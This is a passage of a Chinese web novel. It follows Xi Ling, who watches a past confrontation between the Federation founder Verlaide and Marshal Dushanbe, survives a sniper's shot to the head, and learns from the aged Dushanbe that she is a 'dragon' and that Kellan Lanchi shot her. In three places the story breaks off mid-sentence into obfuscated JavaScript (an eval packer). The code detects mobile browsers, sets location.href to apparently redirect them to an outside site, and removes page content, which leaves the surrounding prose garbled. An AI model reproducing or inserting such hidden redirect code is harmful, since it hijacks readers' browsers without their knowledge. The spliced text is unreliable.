其他九位元帅听见维尔莱德的话时,脸上无不露出抑制不住的欣喜,唯有杜尚别像个异类,浑身被无形的寒意攫住,连呼吸都透着僵硬。 若联邦真能以“白星”为原型研发机甲,那联邦的实力必将实现质的飞跃,从一块任人宰割的鱼肉,蜕变成一位执棋布局的棋手。 这明明是所有人都期盼的结果。 维尔莱德没有立刻回答,只是静静地望着杜尚别,深不见底的眼眸里沉淀着旁人无法窥探的思绪。 翡翠厅里的空气仿佛凝固了,只有钟表的滴答声在缓慢流淌。 不知过了多久,维尔莱德缓缓抬手挥了挥,打破了这份沉默。 “散会吧。”他的声音恢复了一贯的平静,“傅与枫回来了,我们该为她办一场庆功宴,其他事情,日后再议。” 九位元帅显然早已习惯了这样有头没尾的会议,各自收拾好东西,依次踏出翡翠厅的大门。 几分钟后,偌大的翡翠厅内只剩下四人:维尔莱德、杜尚别、芬迪尔,还有郗灵。 芬迪尔大大咧咧地朝门口走去,全然没把身后两位顶头上司放在心上。 郗灵望着芬迪尔的背影,心中暗叹:年轻时的老师,还真是个天真烂漫的大男孩。 她收回目光,却见杜尚别仍然僵在原地。 会议圆桌的上首处,那张属于国父的椅子被拉开了一半,空无一人。 杜尚别单手虚撑着桌面,转过身凝望着上方苍白枯槁的王座,眼神里的敬畏与忌惮,竟像是在凝望一具冰冷的、流尽了鲜血的龙骸。 郗灵忽然想起一段旧闻: 帝国皇帝向来以龙自诩,初代皇帝更是为自己编造了神异的出身,他称自己是龙的后裔,血脉里流淌着至高无上的龙血。 传闻,皇宫地下有一处巨大空洞,初代皇帝曾在那里豢养巨龙。 杜尚别静立着,未撑着桌面的右手虚搭在枪鞘上,指节微微泛白——他在警惕。 他在警惕什么? 郗灵快速扫视整个翡翠厅,答案昭然若揭: ——他警惕的,只会是维尔莱德。 但是,为什么呢? 维尔莱德安静地坐在纳钰元帅的座位上,如同一尊沉默的石像。 他望着杜尚别的背影,突然发出一声沙哑的轻笑,而后主动起身,转身朝翡翠厅大门走去,竟将自己毫无防备的背部完全暴露在杜尚别眼前。 “今晚的宴会上,可是有不少帝国时代的美酒。”维尔莱德没有回头。 他的目光明明落在门口等候的芬迪尔身上,郗灵却莫名觉得,如果他的后脑勺长着眼睛,此刻定然牢牢锁定着杜尚别。 而杜尚别似是有所察觉,自始至终没有抬头,始终避免直视维尔莱德的背影。 维尔莱德迈步经过门口等候的芬迪尔,天光恰好落进了他的瞳孔里。 他没有停下脚步,声音却朝着杜尚别的方向飘去:“吾友,时光如飞鸟般易逝,别让坏心情搅了这场好梦。” * 傅与枫带回了和平的消息,这场庆功宴办得盛大至极。 郗灵始终跟在维尔莱德身边,被不少人捏着脸颊打趣“这小妮子成年了没”,却也借此躲过了被灌酒的命运。 宴会上,芬迪尔喝得酩酊大醉,维尔莱德饮下的酒不比他少,双眼却依旧清明锐利。 散宴后,郗灵和维尔莱德一人一边架着芬迪尔的肩膀,把他扶了回去。 芬迪尔是维尔莱德的贴身近卫,维尔莱德原本睡的那张地铺,其实是芬迪尔的。 但维尔莱德却把自己的床让给了芬迪尔,只淡淡说:“我还有一位客人要见。” “在这里见吗?”郗灵给芬迪尔盖好被子,又用手帕擦去他脸上的汗水,轻声问道。 “嗯,就在这里。”维尔莱德正弯腰在箱子里翻找着什么。 身为联邦国父,维尔莱德的私人物品少得可怜,而且几乎没有值钱的东西。 郗灵看着他翻找了半天,终于从箱底翻出一瓶珍藏的美酒。 ——即便她这种不识货的人,也能从酒液的光泽与瓶身的纹路中看出,这瓶酒价值连城。 “这可是我唯一一瓶好酒了。”维尔莱德像拍打小狗脑袋似的,轻轻拍了拍瓶身,“但若是给他喝,倒也不算浪费。” “给谁?”郗灵嘴上问着,心里却已隐约有了答案。 维尔莱德笑而不答,只是拉过一把椅子坐下。 今夜月色正好,三个月亮悬在夜空,洒下银白的光辉,把这间小小的卧室照得亮如白昼。 芬迪尔发出均匀的鼾声,屋内弥漫着淡淡的酒气。 郗灵盯着维尔莱德对面那张空椅子,白天会议上的种种疑点再次涌上心头。 ——杜尚别元帅,到底在恐惧什么? 维尔莱德听着芬迪尔的鼾声,在月光中枯坐了半夜。 直到三个月亮开始西沉,门外才传来一阵轻得几乎听不见的脚步声。 迟到的客人推开半掩的房门——正是以诺·冯·杜尚别! “你来了。”维尔莱德脸上没有半分久等的不耐,反而露出了一抹温和的笑。 杜尚别没有应声,目光快速扫过屋内。 看到维尔莱德在月光下亮得惊人的眼眸时,杜尚别的瞳孔骤然一缩。 但当他瞧见床上酣睡的芬迪尔后,紧绷的表情又稍稍软化了几分。 杜尚别无声地走了进来,顺手轻轻掩上了门。 他拉开对面的椅子坐下,维尔莱德将两只酒杯并排放好,亲自为二人斟满美酒。 “我还以为你不会来了。”维尔莱德举起其中一杯酒。 杜尚别露出一个礼节性的、皮笑肉不笑的笑容,端起另一杯酒:“怎么会?你可是我唯一的挚友。” 郗灵安静地站在一旁,主考官化身的光球悬浮在她身边。 她清楚自己不属于这段历史,这场对话本应只有维尔莱德、杜尚别与芬迪尔三人。 所以,她像一件无声的器物,又像一个误入舞台的观众,不发一言,不动分毫。 杜尚别主动与维尔莱德碰杯,目光紧紧盯着两只酒杯碰撞时,酒液微微交融的瞬间。 他刻意放松了浑身肌肉,可那股从骨子里透出的紧绷感,还是让他流露出了猎物般脆弱的气息。 ——这份恐惧,维尔莱德看在眼里,郗灵也看在眼里。 郗灵静静打量着杜尚别,而维尔莱德并未拆穿这份伪装,只是率先将杯中美酒一饮而尽。 杜尚别盯着维尔莱德仰头饮酒的动作,目光落在他暴露的脖颈上,手指微微一顿,不动声色地放下了手中的酒杯。 “我知道,你一直都在恐惧我。”维尔莱德放下饮尽的空杯。 杜尚别捏着杯柄的手猛地一僵,指节泛白。 “你恐惧我,就像恐惧那位衰老的皇帝,恐惧那个死而不僵的帝国。”维尔莱德往后靠在椅背上,姿态随意得近乎慵懒。 他牢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325301|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牢地盯着杜尚别,月光让他的眼眸如同狼瞳:“可帝国已经灭亡了!你亲手对皇帝开了三枪,而我斩下了他的头颅。皇帝在世时,你的恐惧还能藏在心里;皇帝死后,你的恐惧却争先恐后地浮出表面,甚至比帝国覆灭前更加浓烈——为什么?” 这是一场极其私密的对话,如同一把钥匙,试图撬开两人之间心照不宣的秘密。 郗灵一眨不眨地盯着杜尚别的脸。 ——那张脸上的情绪复杂得近乎滑稽,既矛盾又扭曲。 他因为维尔莱德看穿自己而惊喜,又因为这份看穿而惊恐;因为维尔莱德选择私下与自己谈心而畏惧,又因为这份体贴而隐隐感动…… 这些情绪实在太怪异了,完全不像是对国父、挚友、战友该有的态度,反倒像蝼蚁面对巨人、凡人仰望神明时,混杂着的敬畏与惶恐。 等等……神明? 郗灵的瞳孔骤然收缩。 她突然想起芬迪尔随口提过的一句话:维尔莱德是从天而降,出现在马厩里的。 直到新历47年,他的来历,还有他那台名为“白星”的机甲,仍是联邦最大的谜团。 这些念头在郗灵脑海中一闪而过。 但不等她细想,杜尚别的声音再次响起。 他沙哑地质问:“我为什么不能恐惧你?” 维尔莱德安静地凝视杜尚别。 维尔莱德平静的目光像一根刺,狠狠刺痛了杜尚别。 他猛地站起身,双手慌乱间竟打翻了桌上的酒杯,美酒洒在桌布上,晕开深色的痕迹。 “你根本不知道我在恐惧什么!”杜尚别的声音压得极低,像是从喉咙深处挤出来的,带着被压抑到极致的歇斯底里,“帝国不足以让我恐惧,皇帝不足以让我恐惧,就连机械帝皇……他带来的恐惧,也远不及你!而你、而你、而你……” “我明白了。”维尔莱德轻轻叹息一声,打断了他的语无伦次,“我知道,你为什么会对我感到恐惧了。” 两人说着哑谜,郗灵听得一头雾水。 可下一秒,维尔莱德站起身,缓步走到杜尚别面前,用一种轻柔却不容抗拒的力道,抓起了杜尚别的右手,带着他一起拔出了腰间的手枪。 而后,维尔莱德握着他的手,缓缓将枪口对准了自己的心脏。 “你已经杀死过我一次了。”维尔莱德说。 杜尚别的身体不再发抖——当恐惧越过临界值后,他反而陷入了一种诡异的平静。 维尔莱德站在他面前,眼神里带着一种超然的慈悲与温和。 他温声劝导陷入迷茫的友人:“当年亲手杀死皇帝后,你对我说,皇帝一死,我将是人类最大的阻碍。我欣赏你的勇气,可你的恐惧终究压过了勇气,让你最终做出了错误的判断——你以为瞄准眉心就能杀死我。” 他顿了顿,声音轻得像月光:“吾友啊,我的弱点不在大脑,而在心脏。下一次,若你认为我应该死去,请一定将枪口对准这里。” 郗灵的瞳孔剧烈颤抖。 月光惨白如霜,若是芬迪尔还醒着,一定会说这是最好最亮的月光——亮得就像当年维尔莱德从天而降,杀死那名男爵后,带着一半农奴走在亮堂堂的乡间小路上时的月光一样。 但杜尚别突然露出一个颤栗又疯狂的笑。 他的恐惧与敬畏,早已突破人类能承受的极限。 ——一个渺小的凡人,又怎能信任来自神明的垂怜? 在维尔莱德比月光更温和的注视下,他将另一只颤抖的手抓上枪管,食指粗鲁地摸索着,随后,用力扣下了扳机。 砰! 郗灵听见了遥远又朦胧的枪声。 眼前的一切扭曲着碎裂,像一片片碎裂的彩色镜子,她的意识与灵魂从觐见之塔抽离,回到了现实世界中。 ——此刻同样月凉如水,新历47年的夜晚和新历元年如出一辙,天空中都悬挂着三个月亮。 一枚子弹射穿了她的脑机头盔,紧接着射穿了她的大脑。 是狙击弹! 倒地前的最后一秒,郗灵昏沉的大脑里闪过这个念头。 41. 她是“龙” 郗灵猛地睁开眼,慌乱间不慎吞咽了一大口溶液。 那液体格外熟悉,温暖的质地里裹着丝丝血腥味,正是人造羊水的味道。 她在淡琥珀色的液体中艰难地撑开沉重的眼皮。 视线里一片模糊,唯有黯淡的光从舱外穿透进来,透过浑浊的人造羊水,朦胧地洒落在她的瞳孔里。 这里是一间暗室,而她,正躺在一台巨大的医疗舱中。 她的意识刚刚清醒,下一秒,剧痛便如潮水般涌来。 郗灵在医疗舱里疼得蜷缩起来,像胎儿蜷缩在母体中那样,双手本能地捂向疼痛的源头——她的脑袋。 指尖刚触到头皮,昏迷前的记忆便骤然浮现在脑海中。 ……她想起来了! 当时,她戴着脑机头盔,正在觐见之塔中旁观维尔莱德的故事,但现实世界中,一枚狙击弹突然击穿了她的头颅。 她竟然还活着? 她居然还活着! 下一秒,疑问接踵而至: 是谁发现了在宿舍中中枪的她? 又是谁,将她送到了这台医疗舱里? 也许是人造羊水的修复能力太过强悍,她那被子弹洞穿的大脑竟已完好如初。 当她的双手抚过脑袋时,指尖没有摸到任何伤口,只有残留的钝痛在眉心突突跳动。 随着时间的流逝,郗灵的视线逐渐清晰。 借着暗室里微弱的光线,她看清了医疗舱前的一道人影—— 那是个坐在轮椅上小憩,如同风中残烛般的老人。 老人已经衰朽到了极致。 他蜷缩在轮椅中,身形小得仿佛一只刚出生的鼹鼠,浑身皮肤蹙缩得如同风干的核桃,精致的华服套在他干瘪瘦小的躯体上,竟然有种马戏团猴子穿皇帝新衣的既视感。 他的呼吸微弱得几乎听不见,胸腔连一丝起伏都没有,各式各样的维生器械、输液软管与电极线路,密密麻麻地将他缠绕起来,勉强吊着他最后一口气。 他分明活到了早该被死神收走的年纪。 郗灵甚至不敢确定,老人此刻是睡着还是醒着,是活着还是已经没了气息。 “你醒了。” 突然响起的声音让郗灵猛地睁大了眼。 这个风烛残年的老人,竟然还活着? 更意外的是,那声音听起来居然十分健朗。 下一秒,隔着淡琥珀色的人造羊水,郗灵看清了声音的来源。 那句话并非老人亲口所说,而是来自他胸口挂着的一个小型器械——那器械能捕捉脑电波并转译成声音,她曾在伊甸的玻璃罐上见过类似的装置。 而且……这声音莫名有些耳熟。 老人安静地“看”着她。 他早已睁不开自己的眼睛,所谓的“看”,不过是轮椅扶手上一个机械眼装置,正代替他投去视线,定定地落在郗灵身上。 说出这句话后,老人重新陷入沉寂,像是在静静等待郗灵的反应。 几秒后,郗灵的脑海中炸开了一道惊雷。 ——杜尚别! ——那是杜尚别元帅的声音! 她陷入了难以掩饰的震惊。 垂垂老矣的杜尚别捕捉到她的反应,发音装置里飘出一声意义不明的气音,像是在低笑。 “你很有趣,郗灵同学。”他说。 郗灵勉强压下翻涌的心绪,深吸了一口舱内的溶液——人造羊水透过皮肤和毛细血管,将氧分与营养缓缓注入她的四肢百骸。 这细微的暖意让她稍定心神。 她张了张嘴,声音隔着液体有些发闷:“校长。” 是的,她没忘。 杜尚别元帅曾对她提过唯一的要求——比起“元帅”,他更偏爱“校长”这个称谓。 听到这声称呼,杜尚别果然笑了。 那包裹在华服里、皱缩得像颗干核桃的躯体,因发笑的动作轻微颤抖起来。 郗灵隔着医疗舱的玻璃小窗,目光落在他衰败枯朽的身体上,脑海中不受控制地浮现出觐见之塔里的情景—— 年轻的杜尚别耀眼夺目,眉眼间满是贵不可言的骄矜,一举一动都优雅而高傲。 即使他在国父面前流露出近乎狰狞的恐惧,但他依然是耀眼的,如同蒙尘的宝石依然是宝石。 可现在呢? 他的锐气,他的风姿,连带着那身金枝玉叶的气度,全都消散得干干净净,只剩一具空壳在原地颤抖。 时间向来无情。 一块美玉沦为一蓬枯草,不过只需五十年光阴。 “郗灵同学,你的心里应该藏了不少疑惑吧。”杜尚别的笑声渐渐停止了,那核桃般瘦小的身体也不再颤抖,“我守在这里,就是为了第一时间告诉你答案。” 郗灵安静地躺在医疗舱中。 她清晰地感受到,身体的损伤已经完全修复,可脑袋里的剧痛依然如同针扎一般。 她知道这是大伤初愈的后遗症,但直觉却告诉她:人造羊水再神奇,也不可能修复“洞穿大脑”这种足以瞬间毙命的重伤。 轮椅上的杜尚别,正通过机械眼温和地“望”着她。 郗灵定了定神,强行压下脑中的钝痛,问出了第一个问题。 “校长,”她的声音微微发紧,“您知道……我头上的伤,是怎么治好的吗?” 杜尚别那缩成两条细缝的老眼半眯着,浑浊的视线慢悠悠落在郗灵身上。 他的声音没有任何波澜:“你很聪明,也很敏锐。人造羊水不是生死人肉白骨的神药——在你躺进这台医疗舱之前,你那炸开的脑袋,就已经基本愈合了。” 郗灵闭上眼睛。 一个问题刚冒头,又立刻牵扯出了更多的问题。 那种熟悉的、仿佛行走在浓雾里的茫然与不安,又一次攥紧了她的心脏。 世界像一个巨大的谜团。 而她……似乎从一开始,就是这谜团里的一部分。 她重新睁开眼:“我不明白您的意思。” “啊,是我的过错,郗灵同学。”杜尚别没有丝毫不耐,语气甚至称得上柔和。 ——即便有萧寒剑这层关系在,这位身居高位的元帅,也不该对她这般态度。 郗灵的大脑飞速运转,试图捕捉背后的深意。 但医疗舱外,杜尚别的声音温和地响起:“郗灵同学,你听过帝国皇宫的那则秘闻吗?” 郗灵猛地抬起头。 ——什么情况? ——他为什么要提起帝国皇宫? “皇宫地下藏着一个巨大的空洞,”无视郗灵疑惑的目光,杜尚别兀自讨论着这个话题,“而帝国的初代皇帝,那位流淌着龙血的传奇人物,曾在那里豢养过巨龙。” 龙? 这个带着古老韵律的字眼,如惊雷般在郗灵耳边响起。 郗灵的思维“嗡”地一声炸开了。 无数回忆串联成线索,在她脑中编织出一条完整的线: 她想起“龙”,想起自诩“龙裔”的帝国皇帝。 她想起维尔莱德,想起手术台上,他面不改色地给自己缝合伤口的模样。 她想起那个夜晚,芬迪尔如雷的鼾声与维尔莱德枯坐的身影。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16329852|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她想起如水的月光下,维尔莱德抓着杜尚别的手,将冰冷的枪口用力抵在自己胸口上—— “吾友啊,我的弱点不在大脑,而在心脏。” “下一次,若你认为我应该死去,请一定将枪口对准这里。” “龙是真实存在的,小友。”杜尚别仍在温和地“看”着她,对她的称呼却变了。 ——他对她的称呼,从“同学”换成了更加亲近的“小友”。 杜尚别为什么突然提起龙? 龙和她……又有什么关系? 郗灵浑身控制不住地颤栗起来。 杜尚别透过玻璃小窗,凝视着医疗舱内那张尖俏的脸庞。 ——猫一般警惕,兽一般桀骜,野性的生灵一般充满原始的张力。 ——仿佛一个自由的、无法被驯服的怪物。 郗灵几乎已经猜到了杜尚别将要出口的话。 也正是因为这份预判,她陷入了一种诡异的、连呼吸都发僵的沉默。 杜尚别的发音装置飘出一声轻响,像是在笑。 他的目光落在郗灵的额头上——那里的伤势在她进舱前,就已经愈合得七七八八。 但他并非第一次见到这样的情景。 遥想当年,他曾在人生最美好的年岁里,遇见了那个让他惊艳半生、也恐惧半生的……真正的怪物。 “龙是真实存在的。”杜尚别的声音带着岁月流淌的气息,像在诉说一段尘封的往事,“郗灵,某种意义上,你是‘龙’。” 郗灵的大脑瞬间一片空白,只剩下这一个字在脑海里反复冲撞—— 龙…… 龙? 龙!! “我所说的龙,不是人们把各种野兽的特征拼贴起来,再靠臆想加工出的、长着肉翼的丑陋蜥蜴。”杜尚别操控着轮椅,缓缓靠近医疗舱。 轮椅扶手上,一只机械臂伸向舱体控制面板,按键声“滴滴”响起。 “但不可否认,在人类的认知里,‘龙’正是强大、神秘、超凡的代名词。”杜尚别一边操作,一边解释,“所以,当人类遇到一种无法描述、无法研究、更无法解释的存在时,便会下意识地用‘龙’来为它命名。” 郗灵终于从灭顶的震撼中回过神来。 她的目光紧盯着杜尚别的机械臂——因为后者的操作,舱内的人造羊水正缓缓向下退去,露出她的肩膀与小臂。 氧循环系统“嗡”地启动,新鲜空气顺着舱壁的气孔涌入。 郗灵侧过身,一口口咳出肺里残留的羊水,用仍在隐隐胀痛的肺,小口小口地呼吸着冰冷的空气。 咳了一阵后,她再次看向杜尚别。 ——那张垂垂老矣的脸上,竟然带着一丝极淡的怀念。 “初代皇帝曾经驯服了一头巨龙,但是,我在皇家图书馆翻遍了所有书籍,却始终没找到对‘龙’的描写,只有一句‘皇帝驯服巨龙’潦草带过。” 杜尚别的声音慢了下来,带着几分探究的意味:“小友,这太不符合帝王的做派了——胜利者一定会炫耀自己的战利品,比如打下的江山,比如纳娶的美人,比如前无古人的功绩,又比如……一头本应存在于神话中的龙。” 呲! 医疗舱的舱盖在泄压声中向两侧缓缓展开。 微弱的光线涌进郗灵的瞳孔,她终于彻底看清了杜尚别的神情。 他的确在怀念。 他的机械眼明明“盯”着自己,目光却像穿透了她的躯体,落在了另一个遥远的影子上。 ——那个人是谁? ——难道是……维尔莱德? 42. 肮脏的阳谋 郗灵从医疗舱中坐起身,脑中的剧痛随着起身的动作变得更加剧烈。 她略有些痛苦地扶住额头,下一秒,一只冰冷的机械臂轻柔地搀扶住她的身体,避免她因为晕眩直接躺倒回舱里。 那只机械臂属于杜尚别。 “你现在这副模样,很容易让我想起一个故人。”杜尚别的话带着淡淡的怀念,“他和你一样,遭受致命伤后不出一天就能活蹦乱跳。联邦成立的前十年,是联邦最动荡的十年,他在活着的时候遭遇了不下一千场刺杀,但那些蹩脚的杀手一次也没有杀死他。” 郗灵愈发肯定,杜尚别口中的“故人”就是维尔莱德。 但她没有挑破。 她无法解释,自己为何知晓维尔莱德的过去,更清楚杜尚别与维尔莱德的关系,绝不止“挚友”这么简单。 他们之间牵扯着太多深沉的往事,即使郗灵只通过觐见之塔窥得了冰山一角,也知道维尔莱德注定在杜尚别的生命中留下浓墨重彩的一笔。 一个衰朽的老人如果牵动了太多沉重的往事,便会像脆弱的沙塔一样崩塌。 更何况,杜尚别是萧寒剑的老师,郗灵本就应该诚心诚意地尊敬他。 郗灵安静地坐在医疗舱里,在杜尚别抽离机械臂前,她始终垂着眼睛,像个乖巧的晚辈,静静等候对方的下一个动作。 杜尚别显然看穿了她的心意,发音装置再次发出笑声:“你和维尔莱德真的很像。” 他主动把谜底摆在了谜面上。 郗灵抬起头。 杜尚别缓慢缩回机械臂,沉声道:“如果说,你是我人生中遇见的第二个‘龙’,那么维尔莱德就是第一个。” “他在我生命里扮演了太重要的角色,我一生所有浓烈的情绪都给了他。他活着时我畏惧他,他死后我却开始思念他。” “这样一个神秘、强大、超凡的生命降临在我身边,只要出现在世人眼前,就注定惊艳整个世界。” “可被注视就意味着被评判,那些蝼蚁般的凡人,凭什么评判一个神明?”杜尚别的声音冷了几分,“于是在维尔莱德死去的那一刻,我骤然理解了初代皇帝豢养巨龙的心情——若我是皇帝,也会挖一个地洞,把那头巨龙关在所有人看不到的地方,如同将珠宝锁进保险柜里。” 郗灵浑身的寒毛一根接一根竖起。 这种阴暗扭曲的思维,实在太恐怖了! 她的手指用力扒着医疗舱边缘,脑子里两个念头疯狂拉扯:一边是对元帅天然的尊敬,一边是对元帅阴暗面的战栗。 “你在恐惧我,觉得我是个心理扭曲的变态,是吗?”杜尚别老辣地戳穿她的心思。 郗灵:“……” 他把她的心思全说透了。 “我和你说这些,并非无意义的闲聊。”杜尚别核桃般蹙缩的身子在轮椅上动了动,“你和维尔莱德的相似,不只是你们都是‘龙’,更在于……你们的处境也十分相似。” 郗灵眼珠一颤,下意识摸了摸仍在隐隐作痛的脑袋。 ——那致命的伤势虽已痊愈,可她能活下来不过是命大,就像维尔莱德从上千次刺杀里活下来一样。 “维尔莱德死于新历8年。”杜尚别看着她,平静的语气里带着淡淡的冷峻:“那一年,第一扇区已成功收复,联邦本打算和机械帝皇谈和,还要把第一扇区50年的采矿权卖给对方。但维尔莱德本就反对这场屈辱的谈和,而他的死亡,不仅为人类反抗机械帝皇提供了不容拒绝的理由,更是直接阻止了这次谈和。” 郗灵的脑子瞬间“嗡”了一下。 她没有忘记觐见之塔第5层的通关任务——找出以诺·冯·杜尚别背叛维尔莱德的原因。 白星把杜尚别的行为定义为“背叛”,而维尔莱德又亲口告诉杜尚别,自己的弱点在心脏。 她很难不怀疑:维尔莱德的死,或许就是杜尚别亲手造成的。 暗室陷入死一般的寂静。 郗灵心中的猜想愈发清晰,杜尚别却没有打断她的思绪,只是安静地看着她,浑浊老眼里流淌着岁月的叹息。 此刻的他像一条深不见底的江河,那些曾经惊心动魄的往事,落在他身上不过是一朵渺小的浪花。 良久,郗灵深吸一口气,压下翻涌的怀疑。 ——杜尚别是唯一活着的元帅,那些“肮脏”的往事,本就没必要对小辈提起。 她轻声问道:“您认为他不该这样死去?” “是的,我是最希望他活着的人。”杜尚别缓缓点头。 郗灵静静等候解释,却见杜尚别枯瘦如树枝的手在衣袖里动了动,抬起空无一物的手对准她的心脏,做出瞄准射击的姿势。 即便明知对方衰老到无法构成威胁,郗灵的身子还是不由自主地紧绷起来。 杜尚别放下手,像恶作剧得逞的孩子般轻快地笑了笑,而后缓缓道: “一个月凉如水的夜晚,维尔莱德告诉了我他的弱点,还让我在合适的时候射击他的心脏。” “但我一刻也没有等待。” “无尽的恐惧攫住了我,我几乎是迫不及待地朝他的心口开了一枪。” “‘砰’的一声枪响后,他的心口出现了一个大洞,连酒醉酣睡的侍卫都被惊醒了。” “我以为他会就此死去,可他……仍然活着!” “他很高兴,说我是唯一一个有勇气当面对他开枪的人。” “那个名叫芬迪尔的侍卫,差点一刀子抹断我的喉咙。” “但维尔莱德制止了他,还对我们说:除非他自愿死去,不然,任何东西都杀不死他。” 郗灵深吸一口气。 在觐见之塔里,她本该完整旁观这个故事,却被一枚狙击弹打断。 此刻,杜尚别终于将这个被中断的故事补全了。 “我还可以再告诉你一个秘密,小友。” 见郗灵陷入沉思,杜尚别再次扔下重磅炸弹,“维尔莱德死得屈辱,他不是自然死亡,甚至连死亡都算不上解脱——就像龙全身都是珍贵的炼金材料,维尔莱德为联邦牺牲了白星,才成功研发出以白星为原型机的量产型机甲。可人的贪婪是无穷的,既然牺牲一个白星能获得这么大的利益,那……再牺牲一个国父呢?” 郗灵的脑子再次“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16338910|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗡”的一声炸响。 怀璧其罪! 杜尚别口中的“处境相似”,根本不只是“受了致命伤还能活下来”,而是他们浑身上下都透着“价值”! 他们都是足以引来贪婪觊觎的“龙”! 杜尚别将郗灵眉眼里的寒意尽收眼底,垂下昏沉的老眼,从宽大袖子里掏出一枚冰冷的弹壳递到她面前。 郗灵接过弹壳举在眼前。 即便室内光线黯淡,她也能清晰认出,这是狙击弹射击后留下的空弹壳。 她就是被一枚狙击弹射穿了脑袋。 这个弹壳……难道是那枚的? 她的声音里裹着冰冷的杀意:“校长,这就是枪杀我的那枚子弹的弹壳吗?” “枪杀你的是子弹,但射出子弹的永远是人。”杜尚别的声音平静无波,“你再仔细看看弹壳上的编号?” 郗灵眯起眼睛,指尖摩挲着刻痕。 ——“ST”是联邦军部的专属制式前缀,“47E”代表新历47年的第5个实战批次,“0177”则是狙击手10位军籍号的中间4位核心编码。 这种设计很巧妙:它既能快速追溯狙击手所属部队,又因只展示部分军籍,即便弹壳被敌方获取,也能避免身份信息完全泄露。 郗灵快速回忆校园地图:狙击枪的极限射程是17公里,狙击手若想射中她的脑袋,狙击点必然在维尔莱德军校内。 郗灵的心底阵阵发寒。 狙击她的人,只会是联邦人! 没有哪个间谍能带着狙击枪混进军校! 这一刻,郗灵对维尔莱德产生了深深的共情。 她尚未对联邦做出任何贡献,联邦狙杀她,抛开道德不谈还勉强能自圆其说。可维尔莱德是联邦国父,为联邦鞠躬尽瘁,即便如此,还是死在了新历8年! 越想,郗灵的心就越寒,怒火也越盛。 谁要杀她? 到底是谁要杀她? “你昏迷时,我通过弹壳编号查到了狙击弹的主人。”杜尚别沉静地看着她,“让我觉得意料之外、情理之中的是,那个狙杀你的人的信息毫无保护——我只简单查了查,他的信息就摆在了眼前。” 郗灵皱起眉头。 她深谙一个道理:一件事若是太顺利,往往意味着掉进了敌人精心布置的陷阱。 她问道:“您是想说……那个人被他背后的人放弃了?” 能在军校狙杀她的绝不会是无名之辈,大概率背靠着某个势力。 如今看来,那势力根本不想保他。 “不,不只是放弃这么简单。”杜尚别发出一声叹息,“若狙杀你的是别人,我或许不会觉得这是陷阱;可偏偏是他——设计陷阱的人心计极深,这根本算不上陷阱……这是个阳谋!” 郗灵的心脏怦怦狂跳:“那个狙杀我的人,到底是谁?” “他叫凯兰,姓兰奇。”杜尚别轻声回答。 兰奇。 这个姓氏让郗灵心底猛地一沉。 她的老师,那位被后世学者称作“叛国者”的新十一军团总指挥官,全名正是芬迪尔·兰奇! 43. 她想改写这份屈辱 “我已经把凯兰·兰奇控制住了。他不过是枚棋子,背后的人根本不想保他,更没人在意他的死活。”杜尚别开口,声音里藏着平静的残忍。 他虽已是风烛残年的老人,心却从未衰老,话语间仍带着年轻时的杀伐果决——也只有这样的人,才会在知晓国父弱点的下一秒,便对准对方的心脏扣动扳机。 他够冷静,也够心狠。 听到“处理”二字,郗灵觉得这位宝刀未老的元帅,竟像是在对待一件物件。 更让她在意的是,对方似乎把选择的权利交到了自己手上。 她问道:“处理?您有什么想法吗?” “第一,把凯兰交给我。从今往后,他绝不会再出现在你的生命里。”杜尚别坐在轮椅上,瘦小干枯的身躯裹在华服中,颈部的发音装置带着沙沙的电流声,“你会重新回归平静的生活,像普通学生那样上课、考试,偶尔配合研究院采集机甲数据——维尔莱德军校将是你的象牙塔,你会在这里度过平淡安稳的四年。” 郗灵追问:“那第二呢?” “第二,由你来处理凯兰,我会无条件配合。”杜尚别核桃般皱缩的脸上,掠过一抹似有若无的笑意,“你是寒剑带回来的人,是我学生的学生,也是我这辈子遇到的第二个‘龙’。我很好奇你会怎么做,更在想——你会不会成为第二个维尔莱德?” 杜尚别给了郗灵两条路。 但郗灵从没想过把凯兰交给杜尚别。 凯兰是要置她于死地的人,让他从自己手里溜走,无异于放虎归山。 即便杜尚别是萧寒剑的老师,她也没法对这位仅有一面之缘的老人,产生如此深厚的信任。 于是她说道:“请您带我去见他吧。” 杜尚别的脸上没有丝毫波澜,没人能猜透他的心思。 他用枯瘦如枝的手臂,示意郗灵推他的轮椅,顺着他指的方向离开暗室,穿过一条又一条昏暗的走廊。 空气中渐渐弥漫开一股潮湿的气息。 维尔莱德军校是中央星的军事训练基地之一,战争时期还关押过战俘。 郗灵推着杜尚别来到一间牢房,屋里唯一的光源是头顶悬着的白色灯泡。灯泡下,一个人被挂在受刑架上,白光散出的热度炙烤着他的脸庞,让他无力地垂着头,凌乱的头发几乎遮住了整张脸。 他正是凯兰·兰奇。 